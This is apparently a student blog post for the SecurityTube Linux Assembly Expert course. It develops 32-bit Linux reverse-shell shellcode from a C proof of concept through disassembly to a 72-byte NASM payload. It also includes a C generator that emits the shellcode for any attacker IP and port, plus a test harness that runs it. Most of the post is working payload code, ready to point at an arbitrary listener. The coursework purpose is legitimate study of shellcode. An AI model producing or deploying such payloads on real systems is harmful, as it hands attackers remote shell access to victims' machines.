27th June, 2015
Introduction
The aim of this assignment is to develop a working reverse shell for the 32bit Linux platform.
I will apply the same approach as for the bind shell:
- Identify suitable proof of concept code
- Reduce the POC to the essence of the required task
- Compile, test and disassemble the POC
- Re-write the POC in assembly
- Optimize shellcode
- Write shellcode wrapper that produces shellcode for any given bind port
- FINAL PRODUCT
1. Identify suitable proof of concept code
Whilst there are numerous reverse shellcodes available on shell-storm.com or exploit.db, I decided to make it a worthwhile exercise to start from scratch to learn the reasoning behind some of the decisions taken in shellcode development.
As basis for my shellcode I picked a classic: conback.c from page 146 of the book “Programming Linux Hacker Tools Uncovered:…” by Ivan Sklyarov:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int sd;
struct sockaddr_in servaddr;
if (argc != 3) {
printf("Usage: %s <ip> <port>\n", argv[0]);
return -1;
}
daemon(1, 0);
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(atoi(argv[2]));
sd = socket(PF_INET, SOCK_STREAM, 0);
if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
perror("connect() failed");
dup2(sd, 0);
dup2(sd, 1);
dup2(sd, 2);
execl("/bin/sh", "sh", 0);
}
The code works as advertised – It connects back to the IP address and port provided as arguments:
2. Reduce the POC to the essence of the required task
Anticipating the complexity of the dis-assembly, let’s reduce the code by cutting out the non-essential bits and, while we’re at it, let’s resolve the numeric constants to provide more clarity (as defined in sys/socket.h and netinet/in.h):
int main(void)
{
int sd;
char *servaddr = "\x02\x00" // Address family (AF_INET)
"\x7A\x69" // port 31337
"\x7F\x00\x00\x01" // 127.0.0.1
"\x00\x00\x00\x00"
"\x00\x00\x00\x00";
sd = socket(2, 1, 0);
connect(sd, servaddr, 16);
dup2(sd, 0);
dup2(sd, 1);
dup2(sd, 2);
execve("/bin/sh", 0, 0);
}
Looks much better.
3. Compile, test and disassemble the POC
It still works:
Now, let’s look at the disassembly:
root@kali:~/git/slae-assignment2# objdump -d fin_conback -M intel
fin_conback: file format elf32-i386
Disassembly of section .init:
08048328 <_init>:
8048328: 55 push ebp
8048329: 89 e5 mov ebp,esp
804832b: 53 push ebx
804832c: 83 ec 04 sub esp,0x4
804832f: e8 00 00 00 00 call 8048334 <_init+0xc>
8048334: 5b pop ebx
8048335: 81 c3 54 14 00 00 add ebx,0x1454
804833b: 8b 93 fc ff ff ff mov edx,DWORD PTR [ebx-0x4]
8048341: 85 d2 test edx,edx
8048343: 74 05 je 804834a <_init+0x22>
8048345: e8 26 00 00 00 call 8048370 <__gmon_start__@plt>
804834a: 58 pop eax
804834b: 5b pop ebx
804834c: c9 leave
804834d: c3 ret
Disassembly of section .plt:
08048350 <dup2@plt-0x10>:
8048350: ff 35 8c 97 04 08 push DWORD PTR ds:0x804978c
8048356: ff 25 90 97 04 08 jmp DWORD PTR ds:0x8049790
804835c: 00 00 add BYTE PTR [eax],al
...
08048360 <dup2@plt>:
8048360: ff 25 94 97 04 08 jmp DWORD PTR ds:0x8049794
8048366: 68 00 00 00 00 push 0x0
804836b: e9 e0 ff ff ff jmp 8048350 <_init+0x28>
08048370 <__gmon_start__@plt>:
8048370: ff 25 98 97 04 08 jmp DWORD PTR ds:0x8049798
8048376: 68 08 00 00 00 push 0x8
804837b: e9 d0 ff ff ff jmp 8048350 <_init+0x28>
08048380 <__libc_start_main@plt>:
8048380: ff 25 9c 97 04 08 jmp DWORD PTR ds:0x804979c
8048386: 68 10 00 00 00 push 0x10
804838b: e9 c0 ff ff ff jmp 8048350 <_init+0x28>
08048390 <execve@plt>:
8048390: ff 25 a0 97 04 08 jmp DWORD PTR ds:0x80497a0
8048396: 68 18 00 00 00 push 0x18
804839b: e9 b0 ff ff ff jmp 8048350 <_init+0x28>
080483a0 <socket@plt>:
80483a0: ff 25 a4 97 04 08 jmp DWORD PTR ds:0x80497a4
80483a6: 68 20 00 00 00 push 0x20
80483ab: e9 a0 ff ff ff jmp 8048350 <_init+0x28>
080483b0 <connect@plt>:
80483b0: ff 25 a8 97 04 08 jmp DWORD PTR ds:0x80497a8
80483b6: 68 28 00 00 00 push 0x28
80483bb: e9 90 ff ff ff jmp 8048350 <_init+0x28>
Disassembly of section .text:
080483c0 <_start>:
80483c0: 31 ed xor ebp,ebp
80483c2: 5e pop esi
80483c3: 89 e1 mov ecx,esp
80483c5: 83 e4 f0 and esp,0xfffffff0
80483c8: 50 push eax
80483c9: 54 push esp
80483ca: 52 push edx
80483cb: 68 60 85 04 08 push 0x8048560
80483d0: 68 70 85 04 08 push 0x8048570
80483d5: 51 push ecx
80483d6: 56 push esi
80483d7: 68 ac 84 04 08 push 0x80484ac
80483dc: e8 9f ff ff ff call 8048380 <__libc_start_main@plt>
80483e1: f4 hlt
80483e2: 90 nop
80483e3: 90 nop
80483e4: 90 nop
80483e5: 90 nop
80483e6: 90 nop
80483e7: 90 nop
80483e8: 90 nop
80483e9: 90 nop
80483ea: 90 nop
80483eb: 90 nop
80483ec: 90 nop
80483ed: 90 nop
80483ee: 90 nop
80483ef: 90 nop
080483f0 <deregister_tm_clones>:
80483f0: b8 b7 97 04 08 mov eax,0x80497b7
80483f5: 2d b4 97 04 08 sub eax,0x80497b4
80483fa: 83 f8 06 cmp eax,0x6
80483fd: 77 02 ja 8048401 <deregister_tm_clones+0x11>
80483ff: f3 c3 repz ret
8048401: b8 00 00 00 00 mov eax,0x0
8048406: 85 c0 test eax,eax
8048408: 74 f5 je 80483ff <deregister_tm_clones+0xf>
804840a: 55 push ebp
804840b: 89 e5 mov ebp,esp
804840d: 83 ec 18 sub esp,0x18
8048410: c7 04 24 b4 97 04 08 mov DWORD PTR [esp],0x80497b4
8048417: ff d0 call eax
8048419: c9 leave
804841a: c3 ret
804841b: 90 nop
804841c: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
08048420 <register_tm_clones>:
8048420: b8 b4 97 04 08 mov eax,0x80497b4
8048425: 2d b4 97 04 08 sub eax,0x80497b4
804842a: c1 f8 02 sar eax,0x2
804842d: 89 c2 mov edx,eax
804842f: c1 ea 1f shr edx,0x1f
8048432: 01 d0 add eax,edx
8048434: d1 f8 sar eax,1
8048436: 75 02 jne 804843a <register_tm_clones+0x1a>
8048438: f3 c3 repz ret
804843a: ba 00 00 00 00 mov edx,0x0
804843f: 85 d2 test edx,edx
8048441: 74 f5 je 8048438 <register_tm_clones+0x18>
8048443: 55 push ebp
8048444: 89 e5 mov ebp,esp
8048446: 83 ec 18 sub esp,0x18
8048449: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804844d: c7 04 24 b4 97 04 08 mov DWORD PTR [esp],0x80497b4
8048454: ff d2 call edx
8048456: c9 leave
8048457: c3 ret
8048458: 90 nop
8048459: 8d b4 26 00 00 00 00 lea esi,[esi+eiz*1+0x0]
08048460 <__do_global_dtors_aux>:
8048460: 80 3d b4 97 04 08 00 cmp BYTE PTR ds:0x80497b4,0x0
8048467: 75 13 jne 804847c <__do_global_dtors_aux+0x1c>
8048469: 55 push ebp
804846a: 89 e5 mov ebp,esp
804846c: 83 ec 08 sub esp,0x8
804846f: e8 7c ff ff ff call 80483f0 <deregister_tm_clones>
8048474: c6 05 b4 97 04 08 01 mov BYTE PTR ds:0x80497b4,0x1
804847b: c9 leave
804847c: f3 c3 repz ret
804847e: 66 90 xchg ax,ax
08048480 <frame_dummy>:
8048480: a1 90 96 04 08 mov eax,ds:0x8049690
8048485: 85 c0 test eax,eax
8048487: 74 1e je 80484a7 <frame_dummy+0x27>
8048489: b8 00 00 00 00 mov eax,0x0
804848e: 85 c0 test eax,eax
8048490: 74 15 je 80484a7 <frame_dummy+0x27>
8048492: 55 push ebp
8048493: 89 e5 mov ebp,esp
8048495: 83 ec 18 sub esp,0x18
8048498: c7 04 24 90 96 04 08 mov DWORD PTR [esp],0x8049690
804849f: ff d0 call eax
80484a1: c9 leave
80484a2: e9 79 ff ff ff jmp 8048420 <register_tm_clones>
80484a7: e9 74 ff ff ff jmp 8048420 <register_tm_clones>
080484ac <main>:
80484ac: 55 push ebp
80484ad: 89 e5 mov ebp,esp
80484af: 83 e4 f0 and esp,0xfffffff0
80484b2: 83 ec 20 sub esp,0x20
80484b5: c7 44 24 1c f0 85 04 mov DWORD PTR [esp+0x1c],0x80485f0
80484bc: 08
80484bd: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
80484c4: 00
80484c5: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
80484cc: 00
80484cd: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2
80484d4: e8 c7 fe ff ff call 80483a0 <socket@plt>
80484d9: 89 44 24 18 mov DWORD PTR [esp+0x18],eax
80484dd: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10
80484e4: 00
80484e5: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
80484e9: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80484ed: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
80484f1: 89 04 24 mov DWORD PTR [esp],eax
80484f4: e8 b7 fe ff ff call 80483b0 <connect@plt>
80484f9: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
8048500: 00
8048501: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
8048505: 89 04 24 mov DWORD PTR [esp],eax
8048508: e8 53 fe ff ff call 8048360 <dup2@plt>
804850d: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
8048514: 00
8048515: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
8048519: 89 04 24 mov DWORD PTR [esp],eax
804851c: e8 3f fe ff ff call 8048360 <dup2@plt>
8048521: c7 44 24 04 02 00 00 mov DWORD PTR [esp+0x4],0x2
8048528: 00
8048529: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
804852d: 89 04 24 mov DWORD PTR [esp],eax
8048530: e8 2b fe ff ff call 8048360 <dup2@plt>
8048535: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
804853c: 00
804853d: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
8048544: 00
8048545: c7 04 24 01 86 04 08 mov DWORD PTR [esp],0x8048601
804854c: e8 3f fe ff ff call 8048390 <execve@plt>
8048551: c9 leave
8048552: c3 ret
8048553: 90 nop
8048554: 90 nop
8048555: 90 nop
8048556: 90 nop
8048557: 90 nop
8048558: 90 nop
8048559: 90 nop
804855a: 90 nop
804855b: 90 nop
804855c: 90 nop
804855d: 90 nop
804855e: 90 nop
804855f: 90 nop
08048560 <__libc_csu_fini>:
8048560: 55 push ebp
8048561: 89 e5 mov ebp,esp
8048563: 5d pop ebp
8048564: c3 ret
8048565: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048569: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
08048570 <__libc_csu_init>:
8048570: 55 push ebp
8048571: 89 e5 mov ebp,esp
8048573: 57 push edi
8048574: 56 push esi
8048575: 53 push ebx
8048576: e8 4f 00 00 00 call 80485ca <__i686.get_pc_thunk.bx>
804857b: 81 c3 0d 12 00 00 add ebx,0x120d
8048581: 83 ec 1c sub esp,0x1c
8048584: e8 9f fd ff ff call 8048328 <_init>
8048589: 8d bb 04 ff ff ff lea edi,[ebx-0xfc]
804858f: 8d 83 00 ff ff ff lea eax,[ebx-0x100]
8048595: 29 c7 sub edi,eax
8048597: c1 ff 02 sar edi,0x2
804859a: 85 ff test edi,edi
804859c: 74 24 je 80485c2 <__libc_csu_init+0x52>
804859e: 31 f6 xor esi,esi
80485a0: 8b 45 10 mov eax,DWORD PTR [ebp+0x10]
80485a3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80485a7: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80485aa: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80485ae: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80485b1: 89 04 24 mov DWORD PTR [esp],eax
80485b4: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100]
80485bb: 83 c6 01 add esi,0x1
80485be: 39 fe cmp esi,edi
80485c0: 72 de jb 80485a0 <__libc_csu_init+0x30>
80485c2: 83 c4 1c add esp,0x1c
80485c5: 5b pop ebx
80485c6: 5e pop esi
80485c7: 5f pop edi
80485c8: 5d pop ebp
80485c9: c3 ret
080485ca <__i686.get_pc_thunk.bx>:
80485ca: 8b 1c 24 mov ebx,DWORD PTR [esp]
80485cd: c3 ret
80485ce: 90 nop
80485cf: 90 nop
Disassembly of section .fini:
080485d0 <_fini>:
80485d0: 55 push ebp
80485d1: 89 e5 mov ebp,esp
80485d3: 53 push ebx
80485d4: 83 ec 04 sub esp,0x4
80485d7: e8 00 00 00 00 call 80485dc <_fini+0xc>
80485dc: 5b pop ebx
80485dd: 81 c3 ac 11 00 00 add ebx,0x11ac
80485e3: 59 pop ecx
80485e4: 5b pop ebx
80485e5: c9 leave
80485e6: c3 ret
4. Re-write the POC in assembly
The majority of the POC consists of dynamic library calls, which makes it unsuitable for our purpose (static linking would have resulted in thousands of lines of code). Instead of re-using the POC code I consider a re-write in assembly based on that code much more efficient. Especially given that this program is a simplified form of the bind shell we created in assignment #1.
Let’s list the individual components of this program and write them in assembly:
- Create a socket (line 9)
- Populate a sockaddr_in structure (lines 8-8) and connect through the socket (line 10)
- Move STDIN, STDOUT & STDERR to our socket (lines 12-14)
- Execute /bin/sh (line 15)
To write each of these system calls, I used the following resources:
- Linux man pages for each function describes the function and calling conventions
- The system call table identifies the relevant system call number to use (nicer displayed than in unistd_32.h of the local system)
- System call reference defines that the call number is placed in eax and the parameters are placed in ebx, ecx, edx, esx & edi in order
Let’s go ahead and tackle each portion of the program:
i. Create a socket
Syscall reference: Socket syscalls make use of only one syscall number: SYS_socketcall (0x66) which goes in %eax. The socket functions are identified via a subfunction numbers located in /usr/include/linux/net.h and are stored in %ebx. A pointer to the syscall args is stored in %ecx. Socket syscalls are also executed with int $0x80.
man 2 socketcall explains system call invocation: int socketcall(int call, unsigned long *args);
call determines which socket function to invoke (sub-function number) and is listed in net.h as
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
man 2 socket lists the arguments pointed to by *args: int socket(int domain, int type, int protocol);
Lets put it together:
- We push the arguments onto the stack in reverse order
- We store 0x1 as sub-function number in bl (instead of ebx to avoid nulls)
- We store the address of the top of the stack (were the arguments start) in ecx
- We store the system call number for 102 in al (for SYS_socketcall)
- We execute int 0x80
- We copy the return value in eax to edi. That is the socket descriptor we’ll need later
; --- socket ---
cdq ;clear edx
; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=0) parameters
push edx ; 0 means protocol determined by server
inc edx
push edx
mov ebx, edx ; store socket call sub function # 1 in bl
inc edx
push edx
mov ecx, esp ; store pointer to arguments in ecx
; issue system call
push 0x66
pop eax ; get sys_socketcall system call number into al
mov edi, eax ; copy away for later re-use
int 0x80 ; execute system call
xchg edi, eax ; socket fd in edi, sys_socketcall system call number back in al
That’s all. The socket is ready for use.
ii. Connect via our socket
Next we connect via the newly created socket to an address and port using the same system call as above but with sub-function number “3”.
man 2 connect: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
We basically repeat the first call with different arguments:
- We push the arguments onto the stack in reverse order
- We store 0x3 as sub-function number in bl
- We store the address of the top of the stack (were the arguments start) in ecx
- The system call number 102 is already in al (for SYS_socketcall) from earlier
- We execute int 0x80
; --- connect ---
; push connect() parameters
push 0x0100007F ; 127.0.0.1
push word 0x697A ; port 31337
push word 0x2 ; AF_INET
mov ecx, esp ; store pointer to the structure in ecx
push 0x10 ; sizeof(struct sockaddr_in)
push ecx ; &serv_addr
push edi ; our socket descriptor
mov ecx, esp ; store pointer to arguments in ecx
mov bl, 0x3 ; sub call function number 3 for connect
; issue system call
int 0x80 ; execute system call
mov al, 0x66 ; store SYS_socketcall system call number in al
int 0x80 ; execute system call
Done.
iii. Move STDIN, STDOUT & STDERR to our socket
Syscall reference: dup2 has a system call number 0x3F
man 2 dup2: int dup2(int oldfd, int newfd);
This time we already have the sockfd on top of the stack, we only pop it into ebx, place the old fd in ecx and execute syscall. We’ll do it with a loop to be more efficient:
; Move STDIN, STDOUT & STDERR to our new socket
pop ebx ; sockfd is still on the stack
xchg ecx, edx ; set loop counter to 2
loop:
mov al, 0x3f ; store sys_dup2 system call number in al
int 0x80 ; execute system call
dec ecx
jns loop
Awesome.
vi. Execute /bin/sh via execve
Syscall reference: execve has a system call number 0xB
man 2 execve: int execve(const char *filename, char *const argv[],char *const envp[])
We are going to push a null terminated /bin/sh onto the stack and esp becomes both our pointer to the file name as well as our pointer to argv. We can save some more space by placing a NULL in ecx and edx. This trick works in Linux.
Once done we can put 11 in al and execute int 0x80.
; execute /bin/sh
; execve("/bin/sh", NULL , NULL);
cdq ; clear edx
mov ecx, edx ; clear ecx
push edx ; push NULL termination
push 0x68732f2f ; //sh (we can add a slash to make it four non NULL bytes)
push 0x6e69622f ; /bin
mov ebx, esp ; store address of /bin/sh
mov al, 0xb ; store execve system call number in al
int 0x80 ; execute system call
Thats it.
Below is the 72 byte shellcode for a reverse shell connecting to 127.0.0.1 on port 31337.
; Filename: reverseshell.nasm
; Author: Re4son re4son [at] whitedome.com.au
; Website: http://www.whitedome.com.au/re4son
;
; Purpose: Reverse shell connecting back to 127.0.0.1:31337
; 72 Bytes
global _start
section .text
_start:
; --- socket ---
cdq ;clear edx
; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO=0) parameters
push edx ; 0 means protocol determined by server
inc edx
push edx
mov ebx, edx ; store socket call sub function # 1 in bl
inc edx
push edx
mov ecx, esp ; store pointer to arguments in ecx
; issue system call
push 0x66
pop eax ; get sys_socketcall system call number into al
mov edi, eax ; copy away for later re-use
int 0x80 ; execute system call
xchg edi, eax ; socket fd in edi, sys_socketcall system call number back in al
; --- connect ---
; push connect() parameters
push 0x0100007F ; 127.0.0.1
push word 0x697A ; port 31337
push word 0x2 ; AF_INET
mov ecx, esp ; store pointer to the structure in ecx
push 0x10 ; sizeof(struct sockaddr_in)
push ecx ; &serv_addr
push edi ; our socket descriptor
mov ecx, esp ; store pointer to arguments in ecx
mov bl, 0x3 ; sub call function number 3 for connect
; issue system call
int 0x80 ; execute system call
; Move STDIN, STDOUT & STDERR to our new socket
pop ebx ; sockfd is still on the stack
xchg ecx, edx ; set loop counter to 2
loop:
mov al, 0x3f ; store sys_dup2 system call number in al
int 0x80 ; execute system call
dec ecx
jns loop
; execute /bin/sh
; execve("/bin/sh", NULL , NULL);
cdq ; clear edx
mov ecx, edx ; clear ecx
push edx ; push NULL termination
push 0x68732f2f ; //sh (we can add a slash to make it four non NULL bytes)
push 0x6e69622f ; /bin
mov ebx, esp ; store address of /bin/sh
mov al, 0xb ; store execve system call number in al
int 0x80 ; execute system call
5. Optimize shellcode
We optimized it along the way using the experience gained from assignment 1.Nothing more to do.
Lets assemble it and get the shellcode via objdump:
root@kali:~/git/slae-assignment2# ./shell-compile.sh reverseshell
[+] Assembling reverseshell.nasm with "nasm -f elf32 -o reverseshell.o reverseshell.nasm"
[+] Linking reverseshell.o with "ld -N -o reverseshell reverseshell.o"
[+] Generating shellcode via objdump and sed ...
[+] 72 bytes shellcode generated:
"\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\x7f\x00\x00\x01\x66\x68\x7a\x69\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
Voila.
6. Wrapper
The IP address and port are currently hard-coded in the shellcode.
Why don’t we write a c program that substitutes both in the shell code with given command line arguments, i.e. the command
make-revshell –LHOST=192.168.1.12 –LPORT=4444
will create a shellcode that connects back to 192.168.1.12 port 4444.
Let’s go ahead and write a c program to substitute that string with any given port number:
/******************************************************************
* make-revshell -- Program to generate reverse shellcode
*
* Author : Re4son re4son [ at ] whitedome.com.au
* Purpose : generates reverse shell code with
* IP address and port given as arguments
* Usage : make-revshell --LHOST=<IP address> --LPORT=<port>
******************************************************************/
#include <stdio.h>
#include <string.h>
#include <getopt.h>
int main( int argc, char *argv[] )
{
unsigned int port, ip1, ip2, ip3, ip4;
unsigned char low,high;
char cmdArg[6], *p;
char c;
int i;
int option_index = 0;
static const struct option longOpts[] = {
{"LHOST", required_argument, NULL, 'i'},
{"lhost", required_argument, NULL, 'i'},
{"LPORT", required_argument, NULL, 'p'},
{"lport", required_argument, NULL, 'p'},
{NULL, 0, NULL, 0}
};
port = ip1 = ip2 = ip3 = ip4 =0;
while ((c = getopt_long( argc, argv, ":i:p:", longOpts, &option_index )) != -1 ) {
switch (c) {
case 'i':
p = strtok (optarg,".");
if (p)
ip1 = atoi(p);
else {
ip1 = ip2 = ip3 = ip4 =0;
break;
}
p = strtok (NULL,".");
if (p)
ip2 = atoi(p);
else {
ip1 = ip2 = ip3 = ip4 =0;
break;
}
p = strtok (NULL,".");
if (p)
ip3 = atoi(p);
else {
ip1 = ip2 = ip3 = ip4 =0;
break;
}
p = strtok (NULL,".");
if (p)
ip4 = atoi(p);
else {
ip1 = ip2 = ip3 = ip4 =0;
break;
}
break;
case 'p':
strcpy(cmdArg, optarg);
port = atoi(cmdArg);
high = port >> 8;
low = (port << 8) >> 8;
break;
default:
printf( "\n\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n"
"\t or: %s -i <IP address> -p <port>\n\n", argv[0], argv[0] );
return -1;
}
}
if (ip1 == 0 && ip2 == 0 && ip3 == 0 && ip4 == 0){
printf( "\n\tInvalid IP address\n"
"\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] );
return -1;
} else if (ip1 > 254 || ip2 > 254 || ip3 > 254 || ip4 > 254){
printf( "\n\tInvalid IP address\n"
"\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] );
return -1;
} else if (port < 1 || port > 65535){
printf( "\n\tInvalid port number\n"
"\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n", argv[0] );
return -1;
} else {
if (high == 0 || low == 0 || ip1 ==0 || ip2 == 0 || ip3 == 0 || ip4 == 0 ){
printf( "\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
"!! CAUTION: NULL characters detected !!\n"
"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
}
printf( "\nShellcode length : 72 bytes\n\n"
"IP Address (%03d.%03d.%03d.%03d) : \\x%02x\\x%02x\\x%02x\\x%02x\n"
"Bind port (%05d) : \\x%02x\\x%02x\n\n"
"\"\\x99\\x52\\x42\\x52\\x89\\xd3\\x42\\x52\\x89\\xe1\"\n"
"\"\\x6a\\x66\\x58\\x89\\xc7\\xcd\\x80\\x97\\x68\\x%02x\"\n"
"\"\\x%02x\\x%02x\\x%02x\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\"\n"
"\"\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xb3\\x03\"\n"
"\"\\xcd\\x80\\x5b\\x87\\xca\\xb0\\x3f\\xcd\\x80\\x49\"\n"
"\"\\x79\\xf9\\x99\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\"\n"
"\"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\"\n"
"\"\\xcd\\x80\";\n\n", \
ip1, ip2, ip3, ip4, ip1, ip2, ip3, ip4, \
port, high, low, \
ip1, ip2, ip3, ip4, high, low);
return 0;
}
}
Finished.
Let’s try it out. Run ./make-revshell –LHOST=192.168.12.197 –LPORT=31341,copy & paste the shellcode into shellcode.c and run ./shellcode
/* Compilation: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1"
"\x6a\x66\x58\x89\xc7\xcd\x80\x97\x68\xc0"
"\xa8\x0c\xc5\x66\x68\x7a\x6d\x66\x6a\x02"
"\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03"
"\xcd\x80\x5b\x87\xca\xb0\x3f\xcd\x80\x49"
"\x79\xf9\x99\x89\xd1\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b"
"\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Done.
All files are available on github.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE – 674